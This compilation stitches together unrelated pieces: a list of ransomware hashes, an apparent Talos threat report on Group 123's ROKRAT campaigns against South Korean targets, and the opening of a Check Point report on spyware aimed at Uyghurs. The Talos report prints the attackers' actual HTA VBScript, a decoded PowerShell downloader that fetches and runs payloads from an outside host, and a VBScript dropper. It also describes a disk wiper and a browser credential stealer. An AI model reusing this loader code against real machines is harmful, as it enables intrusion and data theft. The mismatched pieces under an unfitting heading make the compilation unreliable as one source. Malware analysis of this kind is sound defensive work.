1f36898228197ee30c7b0ec0e48e804caa6edec33e3a91eeaf7aa2c5bbb9c6e0 | Ransom.MSIL.RUCRYPT.YXCCD
610ec163e7b34abd5587616db8dac7e34b1aef68d0260510854d6b3912fb0008 | Ransom.MSIL.RUCRYPT.YXCCD
696b6b9f43e53387f7cef14c5da9b6c02b6bf4095849885d36479f8996e7e473 | Ransom.MSIL.RUCRYPT.YXCCD
8f2ea18ed82085574888a03547a020b7009e05ae0ecbf4e9e0b8fe8502059aae | Ransom.MSIL.RUCRYPT.YXCCD
979f9d1e019d9172af73428a1b3cbdff8aec8fdbe0f67cba48971a36f5001da9 | Ransom.MSIL.RUCRYPT.YXCCD |
# Software Vulnerability Information
## Executive Summary
This article exposes the malicious activities of Group 123 during 2017. We assess with high confidence that Group 123 was responsible for the following six campaigns:
- "Golden Time" campaign.
- "Evil New Year" campaign.
- "Are you Happy?" campaign.
- "FreeMilk" campaign.
- "North Korean Human Rights" campaign.
- "Evil New Year 2018" campaign.
On January 2nd of 2018, the "Evil New Year 2018" campaign started, copying the approach of the 2017 "Evil New Year" campaign. The links between the different campaigns include shared code and compiler artifacts such as PDB (Program DataBase) patterns present throughout these campaigns.
Based on our analysis, the "Golden Time", both "Evil New Year" and the "North Korean Human Rights" campaigns specifically targeted South Korean users. The attackers used spear phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite. Group 123 has been known to use exploits (such as CVE-2013-0808) or scripting languages harnessing OLE objects. The purpose of the malicious documents was to install and execute ROKRAT, a remote administration tool (RAT). Occasionally, the attackers directly included the ROKRAT payload in the malicious document, while in other campaigns, they leveraged multi-stage infection processes: the document only contained a downloader designed to download ROKRAT from a compromised web server.
Additionally, the "FreeMilk" campaign targeted several non-Korean financial institutions. In this campaign, the attackers made use of a malicious Microsoft Office document, a deviation from their normal use of Hancom documents. This document exploited a newer vulnerability, CVE-2017-0199. Group 123 used this vulnerability less than one month after its public disclosure. During this campaign, the attackers used two different malicious binaries: PoohMilk and Freenki. PoohMilk exists only to launch Freenki, which is used to gather information about the infected system and to download a subsequent stage payload. This malware was used in several campaigns in 2016 and has some code overlap with ROKRAT.
Finally, we identified a sixth campaign linked to Group 123, named "Are You Happy?". In this campaign, the attackers deployed a disk wiper. The purpose of this attack was not only to gain access to the remote infected systems but also to wipe the first sectors of the device. We identified that the wiper is a ROKRAT module.
This actor was very active this year and continued to mainly focus on South Korea. The group leveraged spear phishing campaigns and malicious documents, the contents of which included very specific language suggesting that they were crafted by native Korean speakers rather than through the use of translation services. The actor has the following demonstrated capabilities:
- To include exploits (for Hangul and Microsoft Office) in its workflows.
- To modify its campaigns by splitting the payload into multiple stages.
- To use compromised web servers or legitimate cloud-based platforms.
- To use HTTPS communications to make it harder to perform traffic analysis.
- To compromise third parties to forge realistic spear phishing campaigns (i.e., Yonsei university in the "Golden Time" campaign).
- To constantly evolve; the new fileless capability included in 2018 is proof.
## Timeline
Here is the timeline for 2017 and the beginning of 2018:
### August 2016 to March 2017: "GOLDEN TIME" CAMPAIGN
As with the majority of Group 123 campaigns, the initial attack vector during this campaign was spear phishing. Talos identified two different kinds of emails. The first email we discovered was the most interesting. In this sample, we observed the attackers praising the user for joining a panel related to the "Korean Reunification and North Korean Conference". The text in the email explained that the recipient should complete the attached document to provide necessary feedback. This appears to be a non-existent conference. The closest match we identified related to any unification conference was held in January 2017, which was the NYDA Reunification conference. The sender was '[email protected]', which is the contact email of the Korea Global Forum, a separate conference.
When we analyzed the email headers, we determined that the email was sent from an SMTP server using an IP associated with the Yonsei University network. We believe that the email address was compromised and abused by the attackers to send the email used in this campaign.
The filename for the malicious attachment translates as 'Unification North Korea Conference _ Examination Documents', reinforcing the text in the email about the reunification conference. For an added bonus, in the body of the email, the attacker even suggests that people who completed the document would get paid a 'small fee'. Perhaps the gift of embedded malware is the payment.
Much less effort was used to craft the second email Talos analyzed. The email was from a free Korean mail service provided by Daum, Hanmail, indicating that there was no attempt to try to appear as if it originated from an official body or person, unlike the previous email described. The subject was simply 'Request Help', while the attachment filename was 'I'm a munchon person in Gangwon-do, North Korea'. We suspect the attacker was trying to generate sympathy by reminding the reader that Munchon and the province it is in, Kangwon, were part of a unified province that included South Korea's Gangwon-do prior to the division of Korea in 1945.
A second email contained a story about a person called 'Ewing Kim' who was looking for help. The email's attachments are two different HWP documents, both leveraging the same vulnerability (CVE-2013-0808). This vulnerability targets the EPS (Encapsulated PostScript) format. The purpose of the shellcode is to download a payload from the Internet.
The first email displays the following decoy document to the infected user and downloads the following payload:
- hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
The second email displays the following decoy document to the infected user and downloads the following payload:
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
In both cases, the downloaded payload is the ROKRAT malware.
The first tasks of this variant of ROKRAT is to check the operating system version. If Windows XP is detected, the malware executes an infinite loop. The purpose is to generate empty reports if opened on sandbox systems running Windows XP machines. Additionally, it checks to determine if common analysis tools are currently running on the infected system. If it detects the presence of these tools, the malware performs two network requests to legitimate websites:
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
- hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
The Amazon URL displays a WWII game called 'Men of War', while the Hulu URL attempts to stream a Japanese anime show called 'Golden Time'.
One of the identifying characteristics of ROKRAT is the fact that it uses social network and cloud platforms to communicate with the attackers. These platforms are used to exfiltrate documents and receive instructions. Here is a list of the platforms used by this variant: Twitter, Yandex, and Mediafire.
### November 2016 to January 2017: "EVIL NEW YEAR" CAMPAIGN
In the early part of 2017, Group 123 started the "Evil New Year" campaign. In this campaign, the actors tried to fool victims by pretending the emails were from the Korean Ministry of Unification and that they offered Korean-specific analysis. This campaign began with a handful of spear phishing emails to South Korean targets containing malicious attachments.
Group 123 further attempted to entice victims to open the attachments by using common Hancom Hangul documents. Hancom's Hangul is a popular Office Suite used primarily in the Korean peninsula. The use of Hangul office documents has the advantage of being the norm for the Korean peninsula. If the attacker used Microsoft documents, it may have raised suspicions in the victim.
Given the regional file format used, there is a chance that some security software suites may not handle them well, and this may have provided an evasion case for the attacker.
The documents sent to the targets were titled "Analysis of Northern New Year in 2017" and used the official logo of the Korean Ministry of Unification. This is a simple choice for the actor to make, but it further shows their familiarity with the region.
The document claimed to discuss the New Year's activities of North Korea, which would have been something that the victims in South Korea would be very interested in. This would have been particularly true for government targets, who we believe to be Group 123's target of choice.
This document was a decoy aimed to entice the user to open malicious documents embedded further down the page. The actor embedded two additional links, urging the user to click on these links for more information about New Year's activities in North Korea.
Upon opening these links, the user was presented with a further decoy Hangul document. This document was well written and further increases our confidence that we are dealing with a new Korean actor. These documents contained malicious OLE objects used to drop binaries.
Initial analysis confirmed two similarly sized OLE object files within this document, which appeared to be the same from an execution point of view. The two dropped binaries were stored and executed in this location during our analysis:
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
- C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe
Initial analysis showed some sloppy cleaning up from Group 123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb
The second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process. The shellcode is embedded within the resource 'BIN' and is used to unpack another PE32 binary and use wscript.exe to execute it. To do this, Group 123 uses a well-known technique that harnesses VirtualAllocEx(), WriteProcessMemory(), and CreateRemoteThread() Windows API calls.
The new PE32 unpacked from the shellcode is an initial reconnaissance malware used to communicate with the C2 infrastructure to obtain the final payload. The information this malware collected included the following:
- The computer name
- The username
- The execution path of the sample
- The BIOS model
- A randomly-generated ID to uniquely identify the system
Group 123 utilized this method to ensure their victim was (a) someone they wanted to target further and (b) someone they could infect further based on the information obtained from the reconnaissance phase.
Further network analysis showed that the binary attempted to connect to the following URLs:
- www[.]kgls[.]or[.]kr/news2/news_dir/index.php
- www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg
Korean Government Legal Services (KGLS) is a legitimate Korean government body that manages Korean government legal affairs. By compromising the KGLS, the attacker gained a trusted platform from which to execute an attack.
The initial network connection is to 'index.php'. This connection transmits the information gathered during the reconnaissance phase. The attacker uses this information to then determine the specific filename (based on the random ID) to serve to the infected victim. In our case, this was 02BC6B26 - this meant a file "02BC6B26_put.jpg" was created for us on the attacker's C2. This file is then dropped and renamed 'officepatch.exe' on the victim's machine.
Because the attacker was careful about who they attacked, we were unable to obtain this file during our analysis. During our investigation, we were able to identify additional Command and Control infrastructure used by this actor. Four C2s were observed, based in the following countries:
- 3 C2 in South Korea
- 1 C2 in the Netherlands
Contrary to the previous campaign, the attackers separated the reconnaissance phase from the main ROKRAT payload. This trick was likely used to avoid detection. This is an interesting adaptation in Group 123's behavior.
### March 2017: "ARE YOU HAPPY?" CAMPAIGN
In March 2017, Group 123 compiled a disk wiper. The malware contains one function; the purpose is to open the drive of the infected system (\\.\PhysicalDrive0) and write the following data to the MBR:
You can see the "Are you Happy?" string in the written buffer. After writing to the MBR, the malware reboots the machine with the following command: `c:\windows\system32\shutdown /r /t 1`. After the reboot, the MBR displays the following string to the user.
The link to the other campaigns was the following PDB path:
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb
As you can see, it perfectly matches the ROKRAT PDB. This wiper is a ROKRAT module named ERSP.enc. We assume that ERSP means ERaSePartition. This module can be downloaded and executed on demand by Group 123.
This sample is interesting considering the attack in December 2014 against a Korean power plant where the message that was displayed by the wiper was "Who Am I?".
### May 2017: "FREEMILK" CAMPAIGN
This campaign targeted non-Korean financial institutions, but unlike the other campaigns, this one does not use HWP documents. It instead uses Office documents. This change is because Group 123 did not target South Korea during this campaign, and Microsoft Office is standard in the rest of the world.
#### Infection Vectors
The attackers exploited CVE-2017-0199 in order to download and execute a malicious HTA document inside of Microsoft Office. The URL used can be found in the embedded OLE object:
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
Here is the source code of the downloaded HTA document:
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") +
"..\powershell.exe") Then
owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand
JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0
owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0
End If
Self.Close
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</head>
</html>
```
Once decoded using the base64 algorithm, we are able to read the final payload:
```powershell
$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg"
$t3=$t+"\\alitmp0133.js"
try
{
echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
$c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
$c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
wscript.exe $t3
}
catch
{
}
```
The purpose of this script is to download and execute a Windows script and two encoded payloads. The script is used to decode and execute the following payloads:
- Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.
- Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.
#### PoohMilk Analysis
The PoohMilk sample is designed to perform two actions:
- Create persistence to execute the Freenki sample at the next reboot.
- Check specific files on the infected machine.
The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded. The file is executed with the argument: "help". Here is the registry creation:
The registry location where persistence is achieved is:
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update.
At the next reboot, the malware will be executed.
The second action is to check if the file "wsatra.tmp" exists in the temporary directory of the current user. If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension. The LNK file is finally used to identify a third file: a ZIP file. The file will be inflated in order to retrieve a RTF document, which will be displayed to the infected user by executing Wordpad.
Here is the PDB path from the PoohMilk sample:
- E:\BIG_POOH\Project\milk\Release\milk.pdb
#### Freenki Sample
The purpose of Freenki is to collect information on the infected system and to download a third executable. This sample can be executed with three different arguments:
- "Help": the value configured by PoohMilk. In this context, the main function is executed.
- "Console": with the argument, a persistence is configured, and the malware will be executed at the next reboot (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample).
- "Sample": with this argument, the malware executes the console command followed by the help command.
The information collected is performed using WMI queries. Additionally, the malware lists the running processes via the Microsoft Windows API. The malware uses obfuscation to hide strings such as URL or User-Agent; the algorithm is based on bitwise (SUB 0x0F XOR 0x21). Here is the decoded data:
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_confi rm.php
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)
The downloaded third payload is obfuscated using the same technique. The file is a fake image starting with "PNGF".
### November 2017: "NORTH KOREAN HUMAN RIGHTS" CAMPAIGN
In November 2017, Talos observed the latest Group 123 campaign of the year, which included a new version of ROKRAT being used in the latest wave of attacks. Group 123 again used one of their main calling cards, the malicious HWP document. This time, Group 123 used a document containing information related to a meeting held on 1st November in Seoul, South Korea. This document was alleged to have been written by a legal representative claiming to represent the "Citizens' Alliance For North Korean Human Rights And Reunification Of Korean Peninsula". Group 123 once again used information related to the Korean unification and now are claiming to highlight concerns related to human rights issues.
The document brought Talos a new gift - a new version of ROKRAT. Following on with the normal Group 123 activity, the document was written in perfect Korean text and dialect again suggesting the origin of this group is from the Korean peninsula. Further analysis of the document text allowed us to understand the context. The document mentions 'Community of North Korean human rights and unification' with the lawyer claiming to be part of the "Citizen's Alliance for North Korean Human Rights and North-South unification".
The main purpose of this document was an attempt to arrange a meeting to discuss items related to the "North Korean Human Rights Act" and "Enactment of a Law" which was passed in 2016 in South Korea. We believe that the document was attempting to target stakeholders within the '올 인 통' community in an attempt to entice them to join the discussion in an attempt to work on additional ideas related to these activities. The meeting was due to take place on November 1, 2017, and this document was trying to garner additional interest prior to the meeting.
Once again, Group 123 leveraged the use of OLE objects within the HWP document. Analysis starts with a zlib decompression (a standard action of HWP documents), and we're able to recover the following script:
```vbscript
const strEncode =
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA="
DIM outFile
DIM base64Decoded
DIM shell_obj
SET shell_obj = CreateObject("WScript.Shell")
DIM fso
SET fso = CreateObject("Scripting.FileSystemObject")
outFile = "c:\ProgramData\HncModuleUpdate.exe"
base64Decoded = decodeBase64(strEncode)
IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded
shell_obj.run outFile
END IF
WScript.Quit()
private function decodeBase64(base64)
DIM DM, EL
SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
private Sub writeBytes(file, bytes)
DIM binaryStream
SET binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, 1
End Sub
```
This script is executed and is used to decode a static base64 string within the strEncode variable. Using base64 encoding, the decoded binary is stored as HncModuleUpdate.exe and is then executed. This is the ROKRAT dropper. Talos suspects the filename may have been selected to make it appear within running processes as a potential Hancom updater.
The dropper is used to extract a new resource named SBS. This specific resource contains malicious shellcode used by the malware. Additionally, we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT, they continue to use similar Windows APIs.
This execution step allows the launch of the new ROKRAT variant by decoding the PE binary and injecting it into the cmd.exe process.
One of Group 123's oddities in this campaign was to drop the following picture as a decoy image to the user. This image shows various publicly available images which look to be related to the Korean 'Independence Movement' and appear to be related to the Korean war.
We began performing further in-depth analysis on this new version of ROKRAT and this is where we started to notice some similarities with Group 123's "Evil New Years" campaign. The similarities are discussed later in this paper.
This ROKRAT variant contained anti-sandbox techniques. This is performed by checking if the following libraries are loaded on the victim machine:
- SbieDll.dll (sandboxie library)
- Dbghelp.dll (Microsoft debugging tools)
- Api_log.dll (threatAnalyzer / GFI SandBox)
- Dir_watch.dll (threatAnalyzer / GFI SandBox)
We were able to uncover some other techniques used by this variant of ROKRAT to make analysis difficult. Group 123 used an anti-debugging technique related to NOP (No Operation). `nop dword ptr [eax+eax+00h]` is a 5-byte NOP. But this opcode is not correctly supported by some debugging tools; Immunity Debugger, for example, will replace the assembly by "???" in red, making it difficult to attempt to debug.
This version of ROKRAT came with a Browser Stealer mechanism which was similar, with a few modifications, to that used in the FreeMilk campaign using Freenki malware in 2016. Group 123 continued their use of Cloud platforms with this campaign, this time leveraging pCloud, Dropbox, Box, and Yandex.
### January 2018: "EVIL NEW YEAR 2018" CAMPAIGN
As we observed at the beginning of 2017, Group 123 started a campaign corresponding with the new year in 2018. This campaign started on the 2nd of January. The infection vector was a malicious HWP document. This decoy document is an analysis of the 2018 New Year speech made by the leader of North Korea. The approach is exactly the same as what was seen in 2017 using a new decoy document. This document was alleged to have been written by the Ministry of Reunification as demonstrated by the logo in the top left.
Similar to the "Golden Time" campaign, this document exploits an EPS vulnerability in order to download and execute shellcode located on a compromised website:
- hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png
The fake image usage is a common pattern for this group. This image contains shellcode used to decode the embedded final payload: ROKRAT. This ROKRAT variant is loaded from memory. It's a fileless version of ROKRAT. This behavior shows that Group 123 is constantly evolving to avoid detection. As usual, the ROKRAT sample uses cloud providers to communicate with the operator, this time leveraging Yandex, pCloud, Dropbox, and Box.
## Links Between Campaigns
### Code Sharing
Talos has identified that Group 123 shares code between different malware. Several features are shared in the samples mentioned in this article; however, we will cover only two in this article: the reconnaissance phase and the browser stealer.
#### RECONNAISSANCE PHASE
The ROKRAT samples used during the two "Evil New Year" and the "North Korean Human Rights" campaigns contained a reconnaissance phase. In the "Evil New Year" campaign, the payload was split into two parts; the first part contained the reconnaissance code. In the other campaign, the reconnaissance phase was directly included in the main payload. This code is the same.
The malware uses the following registry key to get the machine type:
- HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData.
The "System manufacturer" value is used to identify the type of machine. The code appears to be based on a forum post (rohitab.com) describing the use of the Win32 APIs used. The source code only considers the following machine types:
- default: lpString = "(Other)"; break;
- case 0x02: lpString = "(Unknown)"; break;
- case 0x03: lpString = "(Desktop)"; break;
- case 0x04: lpString = "(Low Profile Desktop)"; break;
- case 0x06: lpString = "(Mini Tower)"; break;
- case 0x07: lpString = "(Tower)"; break;
- case 0x08: lpString = "(Portable)"; break;
- case 0x09: lpString = "(Laptop)"; break;
- case 0x0A: lpString = "(Notebook)"; break;
- case 0x0E: lpString = "(Sub Notebook)"; break;
The string format - with the () - and the considering types are exactly the same as those used in the ROKRAT samples. It's interesting to note that this reconnaissance phase was not included in the ROKRAT variant used during the "Golden Time" campaign.
#### BROWSER STEALER
For the first time, the ROKRAT sample used during the "North Korean Human Rights" campaign contained a browser credentials stealer. The code used to perform this task is the same as that found within a Freenki sample deployed in 2016.
The malware is able to extract the stored passwords from Internet Explorer, Chrome, and Firefox. For Chrome and Firefox, the malware queries the SQLite database containing the URL, username, and password. Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7; it contains any sensitive data (like the credentials) of Internet Explorer.
## PDB Paths
We can clearly identify a pattern in the PDB naming convention of all the binaries mentioned in this article.
**ROKRAT:**
- e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (from the "Evil New Year" campaign)
- d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (from the "North Korean Human Rights" campaign)
- D:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb (ROKRAT Sample from an unidentified campaign from June)
**Wiper:**
- D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb (From the "Are You Happy?" campaign)
## Summary Graph
Here is a graph to visualize the similarities and differences between each campaign mentioned in this article:
## Conclusion
South Korea is becoming an important target for malicious actors, and the techniques used are becoming specific to the region (for example: use of native language to try and ensure the targets feel that the information, document, or email being sent to them has added legitimacy).
In a specific campaign, this actor took time to compromise multiple legitimate Korean platforms including Yonsei and the KGLS in order to forge the spear phishing campaign or to host the command and control. This approach is not common with less advanced actors and demonstrates a high level of maturity and knowledge of the Korean region.
However, Group 123's activities are not limited to South Korea. For international targets, they are able to switch to a more standard attack vector such as using Microsoft Office documents as opposed to the specific HWP documents used when targeting victims located in Korea.
Group 123 does not hesitate to use public exploits and scripting languages to drop and execute malicious payloads. We can notice that this group uses compromised legitimate websites (mainly WordPress) and cloud platforms to communicate with the infected systems. This approach makes it difficult to detect communications through analysis of these network flows.
Even if the arsenal of this actor is diverse, we have identified some patterns, copy-paste code from various public repositories, and similarities between the different pieces of code. In addition to the Remote Administration Tools, we identified a wiper. We conclude that this group was involved in a campaign of intelligence gathering and finally attempted destruction.
With our current knowledge of this actor, we predict that they will not disappear anytime soon and will continue to be active during the coming years. Group 123 is constantly evolving, as the new fileless capability that was added to ROKRAT demonstrates. We also believe their target profile may change, but for now, it will mostly focus on Korean peninsula targets. However, as explained, their capabilities will likely continue to evolve over time as they further refine their TTPs.
## IOCs
**"Golden Time" Campaign:**
- Maldoc #1 sha256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
- Maldoc #2 sha256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
- ROKRAT #1: cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
- ROKRAT #2: 051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00
**Network:**
- Malicious URLs:
- hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
- hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
- Safe URLs:
- hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
- hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
**"Evil New Year" Campaign:**
- Maldoc sha256: 281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919
- Dropped #1: 95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
- Dropped #2: 7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
- Dropped #3: 6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
- Dropped #4: 19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
- Dropped #5: 3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
- Dropped #6: 7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8
- Unpacked #1: 7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
- Unpacked #2: 21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe
- Unpacked #3: 761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
- Unpacked #4: 3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8
- Unpacked #5: 930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
- Unpacked #6: 4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4
- Unpacked #7: f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08
**Network:**
- www[.]imuz[.]com/admin/data/bbs/review2/board/index.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/123.php
- www[.]imuz[.]com/admin/data/bbs/review2/board/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]wildrush[.]co[.]kr/bbs/data/image/work/webproxy.php
- www[.]wildrush[.]co[.]kr/bbs/data/image/work/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]belasting-telefoon[.]nl//images/banners/temp/index.php
- www[.]belasting-telefoon[.]nl//images/banners/temp/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
- www[.]kgls[.]or[.]kr/news2/news_dir/index.php
- www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
**"Are You Happy?" Campaign:**
- Wiper sha256: 6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd
**"FreeMilk" Campaign:**
- Office sha256: f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0
- HTA sha256: a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f
- JS sha256: 1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c
- PoohMilk sha256: 35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2
- Freenki sha256: 7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
- Freenki 2016: 99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
**Network:**
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
- hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp
- hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
**"North Korean Human Rights" Campaign:**
- Maldoc sha256: 171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
- Dropper #1: a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
- Dropper #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
- Dropper #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
- ROKRAT: b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e
**"Evil New Year 2018" Campaign:**
- Maldoc sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead
- PNG: bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950
- ROKRAT: 3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1
## References
- http://blog.talosintelligence.com/2017/02/korean-maldoc.html
- http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
- http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
**Posted by Paul Rascagneres at 12:57 AM**
**Labels:** APT, EXPLOIT, HWP, KOREA, MALWARE RESEARCH, OFFICE, RAT, ROKRAT |
# 7 Years of Scarlet Mimic’s Mobile Surveillance Campaign Targeting Uyghurs
**September 22, 2022**
## Introduction
In 2022, Check Point Research (CPR) observed a new wave of a long-standing campaign targeting the Uyghur community, a Turkic ethnic group originating from Central Asia, one of the largest minority ethnic groups in China. This malicious activity, attributed to the threat actor Scarlet Mimic, was first brought to light back in 2016.
Since then, CPR has observed the group using more than 20 different variations of their Android malware, disguised in multiple Uyghur-related baits such as books, pictures, and even an audio version of the Quran, the holy text of the Islamic faith. The malware is relatively unsophisticated from a technical standpoint. However, its capabilities allow the attackers to easily steal sensitive data from the infected device, perform calls or send an SMS on the victim’s behalf, and track their location in real-time. It also allows audio recording of incoming and outgoing calls, as well as surround recording. All this makes it a powerful and dangerous surveillance tool.
In this report, we present a technical analysis and describe the evolution of the campaign in the last seven years. Although a small part of this campaign was briefly discussed in Cyble’s publication as an isolated and unattributed incident, in this article we put the whole campaign in perspective and outline almost a decade’s worth of persistent efforts in phone surveillance of the Uyghur community.
## Overview of the campaign
Since 2015, CPR has identified more than 20 samples of Android spyware called MobileOrder, with the latest variant dated mid-August 2022. As there are no indications that any of them were distributed from the Google Store, we can assume the malware is distributed by other means, most likely by social engineering campaigns. In most cases, the malicious applications masquerade as PDF documents, photos, or audio. When the victim opens the decoy content, the malware begins to perform extensive surveillance actions in the background. These include stealing sensitive data such as device info, SMS and calls, device location, and files stored on the device. The malware is also capable of actively executing commands to run a remote shell, take photos, perform calls, manipulate SMS, call logs, and local files, and record the surround sound.
All the samples are based on the code of the MobileOrder malware from 2015, although during the ensuing years some changes were introduced by the developers. A few of these changes were clearly developed to reduce the chances of the malware being detected by security solutions: the malware authors experimented with ways to hide the malicious strings (which indicate the malware’s intentions), first by moving them to the resources section, and later encoding them in base64.
The actors also added a few adjustments and features to gather more information from their victims’ devices. One new aspect is to move from using AMAP SDK, an Android SDK used to identify geolocation, to using the standard Android LocationListener implementation. This allows the attackers to track their target’s location in real-time instead of an on-demand basis.
